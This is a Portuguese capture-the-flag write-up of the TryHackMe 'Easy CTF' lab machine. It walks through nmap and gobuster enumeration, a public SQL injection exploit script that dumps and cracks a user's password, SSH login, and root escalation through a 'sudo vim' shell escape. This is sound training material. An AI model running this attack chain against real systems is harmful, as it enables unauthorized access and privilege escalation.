Writeup - Easyctf TryHackMe Nicolas Sanson Giaboeski

Ao começar o desafio já recebemos o endereço da máquina que iremos atacar, o primeiro passo é realizar um port scan utilizando nmap.

Aqui vemos que há 3 portas com estado open, uma ftp, uma http, e outra ssh. Realizando buscas no exploit-db sobre a versão do http oferecida (Apache httpd 2.4.18), não foi possível encontrar algo que entregasse um avanço no ctf.

Em seguida, foi utilizado o gobuster com uma wordlist padrão do Kali Linux na porta com serviço http para ver se há algum diretório de nome comumente utilizado, como mostra a seguinte imagem:

```
[kali@kali)-[/usr/share/wordlists]

[kali@kali)-[/usr/share/wordlists]

[kali@kali)-[/usr/share/wordlists]

[kali@kali)-[/usr/share/wordlists]

[kali@kali)-[/usr/share/wordlists]

[kali@kali)-[/usr/share/wordlists]

[kali@kali)-[/usr/share/wordlists/dirbuster]

[kali@kali)-[/usr/share/wordlists/dirbuster]
```

Com isso, conseguimos um passo a mais para conquistar a bandeira, o encontrado é um diretório com nome "simple".

```
Starting gobuster in directory enumeration mode

/simple (Status: 301) [Size: 311] [→ http://10.10.55.40/simple/]

Progress: 10106 / 87665 (11.53%)
```

Acessando o endereço no diretório simple, vemos uma página que nos fornece uma versão possível de SQL Injection



O próximo desafio foi algo não diretamente relacionado ao CTF, mas sim entender que para utilizar essa ferramenta, é necessária uma versão específica do python. Com isso, há de ser baixado e instalado o pip2, uma versão antiga que o kali não oferece por padrão. Utilizando o exploit com outra wordlist padrão do sistema operacional, conseguimos realizar um crack que nos fornece dados interessantes:

```
(kali@ kali)-[~/Downloads]
    python2 46635.py -u http://10.10.55.40/simple --crack -w /usr/share/wordlists/fasttrack.txt
```

Retornando:

```
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin0
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
```

(São necessárias algumas tentativas até que o crack seja feito corretamente pela máquina)

Tendo obtido o usuário da máquina que estamos atacando e a senha, podemos tentar acessá-la remotamente através de ssh.

```
(kali⊕ kali)-[~/Downloads]
$ ssh -p 2222 mitch@10.10.55.40
```

Com isso, conseguimos o acesso à máquina do alvo. Vamos obter alguns dados:

Utilizando o sudo -l, vemos que é possível escalar privilégio na máquina pelo vim. Para isso, utilizaremos o comando:

sudo vim -c ':!/bin/sh'

Por fim, conseguimos escalar privilégio, vamos checar novamente algumas informações:

```
#
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!
# ■
```

E chegamos ao final :.